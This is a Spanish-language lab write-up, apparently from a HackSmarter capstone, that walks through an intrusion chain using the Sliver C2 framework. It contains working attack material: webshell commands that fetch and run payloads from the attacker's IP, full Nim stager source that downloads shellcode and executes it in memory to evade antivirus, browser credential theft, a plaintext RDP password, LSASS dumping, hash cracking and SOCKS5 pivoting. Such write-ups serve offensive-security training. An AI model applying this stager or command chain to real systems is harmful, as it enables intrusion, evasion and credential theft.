← Volver
← Volver a la lista
HackSmarter • Easy
2026-01-11

Sliver Capstone

Sliver C2: Pentesting and Evasion - Capstone Challenge

Laboratorio: Windows Web Server (expuesto) + Linux MySQL (red interna)
Objetivo: acceso inicial, sesión C2 estable, credenciales, escalada, pivoting y extracción de la flag.

Acceso Inicial

Un operador dejó un backdoor en la web pública de la víctima (un webshell clásico). La idea aquí es simple: si puedo ejecutar whoami, puedo ejecutar lo que sea (y si no puedo, entonces este writeup sería muy corto).

Ruta utilizada:

http://web.hacksmarter/hacksmarter/shell.php?cmd=whoami

A partir de este punto, todo lo que enviemos en cmd= se ejecuta en el servidor Windows. Esto nos da ejecución remota sin necesidad de credenciales… todavía.

Implante mTLS y primer choque con el AV

El siguiente paso natural es convertir “ejecución remota” en una sesión C2 estable. Para eso, generamos un implante mTLS con Sliver y levantamos el listener.

Generación del implante:

generate -o Windows --mtls 10.200.26.114:443 -s update.exe

Listener mTLS:

mtls -L 10.200.26.114 -l 443

Luego, desde el webshell creamos un directorio de trabajo y descargamos el binario:

http://web.hacksmarter/hacksmarter/shell.php?cmd=mkdir C:\Dante
http://web.hacksmarter/hacksmarter/shell.php?cmd=curl 10.200.26.114/update.exe -o C:\Dante\update.exe
http://web.hacksmarter/hacksmarter/shell.php?cmd=C:\Dante\update.exe

Qué pasó y por qué importa

  • La sesión no llegó al servidor de Sliver.
  • El binario se eliminó casi inmediatamente.

Esto es un patrón típico de AV/EDR: ejecución + cuarentena/borrado. En términos prácticos, el host nos está diciendo “te vi”, con una educación pasivo-agresiva impecable.

Necesitamos un método de ejecución menos “ruidoso” y con menos artefactos en disco.

Stager en NIM: ejecución en memoria

Para evadir la detección, usamos un stager: un binario pequeño que:

  1. Descarga shellcode desde nuestra máquina atacante
  2. Lo copia a memoria
  3. Lo ejecuta sin escribir payload completo en disco

La lógica de esto es simple: muchos AV se sienten más cómodos bloqueando ejecutables “completos” que contienen un implante evidente. En cambio, un stager que solo descarga bytes y los ejecuta en memoria puede pasar más desapercibido (no siempre, pero lo suficiente como para este lab).

Código del stager (NIM)

import winim
import winim/lean
import httpclient

func toByteSeq*(str: string): seq[byte] {.inline.} =
    @(str.toOpenArrayByte(0, str.high))

proc DownloadExecute(url:string):void=
    var client = newHttpClient()
    var response: string = client.getContent(url)
    
    var shellcode: seq[byte] = toByteSeq(response)
    let tProcess = GetCurrentProcessId()
    var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
    
    let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](len(shellcode)),0x3000,PAGE_EXECUTE_READ_WRITE)
    defer:
        CloseHandle(pHandle)
    copyMem(rPtr, addr shellcode[0], len(shellcode))
    let f = cast[proc(){.nimcall.}](rPtr)
    f()

when defined(windows):
    when isMainModule:
        DownloadExecute("http://10.200.26.114/update.bin")

Compilación del stager:

nim c -d:release --cpu:amd64 --os:windows stager.nim

Generación del shellcode con Sliver

Aquí generamos shellcode mTLS (x64) y lo servimos desde nuestra máquina atacante:

generate --mtls 10.200.26.114:443 -o Windows -a amd64 -f shellcode -s /home/kali/Downloads/update.bin

Transferencia del stager y ejecución

Subimos el stager al host víctima. Se renombra a MSTeams.exe por razones puramente “cosméticas” (y porque nada malo ha pasado jamás con nombres corporativos).

http://web.hacksmarter/hacksmarter/shell.php?cmd=curl 10.200.26.114/stager.exe -o C:\Dante\MSTeams.exe

Ejecución:

http://web.hacksmarter/hacksmarter/shell.php?cmd=powershell -Command "C:\Dante\MSTeams.exe"

Resultado: la sesión llega al C2. El AV dejó de quejarse (por ahora).

Credenciales en Edge

Con una sesión funcional bajo el usuario j.smith, enumeramos credenciales guardadas en el navegador. Esto es útil porque:

  • Muchas credenciales terminan reutilizadas (especialmente en labs)
  • Navegadores suelen ser un “vault” involuntario
  • Si hay contraseñas guardadas, el movimiento lateral puede volverse trivial

Comando:

sharpchrome logins /browser:Edge

Movimiento lateral por RDP

Con las credenciales encontradas, probamos acceso RDP como el usuario b.morgan.

xfreerdp3 /u:b.morgan /p:'O3KA6B#y1$15' /v:web.hacksmarter

Esto nos da un entorno interactivo. A partir de aquí, repetimos la técnica del stager para obtener sesión Sliver en el contexto de b.morgan (útil para escalada, enumeración local y acceso a recursos).

Escalada: Unquoted Service Path

Buscamos un vector típico de escalada local: Unquoted Service Path en servicios AutoStart.
Si un servicio se ejecuta con una ruta sin comillas y contiene espacios, Windows puede intentar resolver ejecutables en ubicaciones inesperadas (por ejemplo, C:\Program.exe antes que C:\Program Files\...).

Enumeración:

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode |
Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} |
select PathName,DisplayName,Name

Copiamos el stager en la ruta “intermedia” que Windows podría ejecutar y lo renombramos como notes.exe.

Luego iniciamos el servicio desde nuestra sesión Sliver:

sa-sc-qc "EC2AMAZ-IBNMCK4" "NoteTakingSvc"

Por qué la sesión muere (y cómo aprovecharla igual)

La sesión creada por el servicio muere rápido porque el binario ejecutado no es el esperado y el servicio finaliza. La ventana de tiempo es pequeña, pero suficiente para ejecutar:

getsystem

Esto fuerza una nueva sesión como NT AUTHORITY\SYSTEM (dependiendo del método, token y permisos del servicio).

Dump de LSASS y cracking

Con privilegios elevados, procedemos a extraer credenciales de LSASS. Para reducir fricción, usamos nanodump para generar un minidump.

Primero, ubicamos el PID de lsass.exe (en el lab ya lo tenemos como 652) y ejecutamos:

nanodump 652 lsass.db 1 ""

Descargamos el dump a la máquina atacante y lo analizamos con pypykatz:

pypykatz lsa minidump lsass.db

Se obtiene un hash NTLM del usuario p.richardson. Procedemos a crackearlo con john y rockyou:

sudo john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash --format=NT

Pivoting a la red interna (SOCKS5)

El lab incluye un servidor Linux en red interna corriendo MySQL. Desde el host comprometido, levantamos un proxy SOCKS5 con Sliver para enrutar tráfico hacia esa red.

socks5 start

Luego configuramos proxychains en nuestra máquina atacante para enviar el tráfico por ese túnel y probar conectividad al MySQL interno.

MySQL interno y flag final

Con proxychains funcionando, accedemos a MySQL usando las credenciales crackeadas. También desactivamos SSL (--skip-ssl) para evitar negociaciones/errores en este entorno de lab.

proxychains mysql -h sqlsrv.hacksmarter -u p.richardson -p --skip-ssl

La flag está en la tabla final_config:

use hacksmarter_db;
select * from final_config;

Notas y lecciones aprendidas

  • Cuando un binario desaparece “solo”, rara vez es magia; suele ser AV/EDR haciendo su trabajo.
  • Stagers con ejecución en memoria ayudan a reducir detecciones basadas en artefactos en disco.
  • Credenciales guardadas en navegador pueden simplificar el movimiento lateral más de lo que deberían.
  • Unquoted Service Path sigue siendo un clásico confiable en entornos Windows mal configurados.
  • Pivoting con SOCKS5 desde C2 permite convertir un compromiso de “una máquina” en acceso real a la red interna.

Referencias rápidas (comandos clave)

  • Sliver: generate, mtls, getsystem, socks5 start
  • Windows: gwmi Win32_Service (servicios), stager en NIM
  • Credenciales: sharpchrome logins
  • LSASS: nanodump, pypykatz
  • Pivoting: proxychains
  • DB: mysql --skip-ssl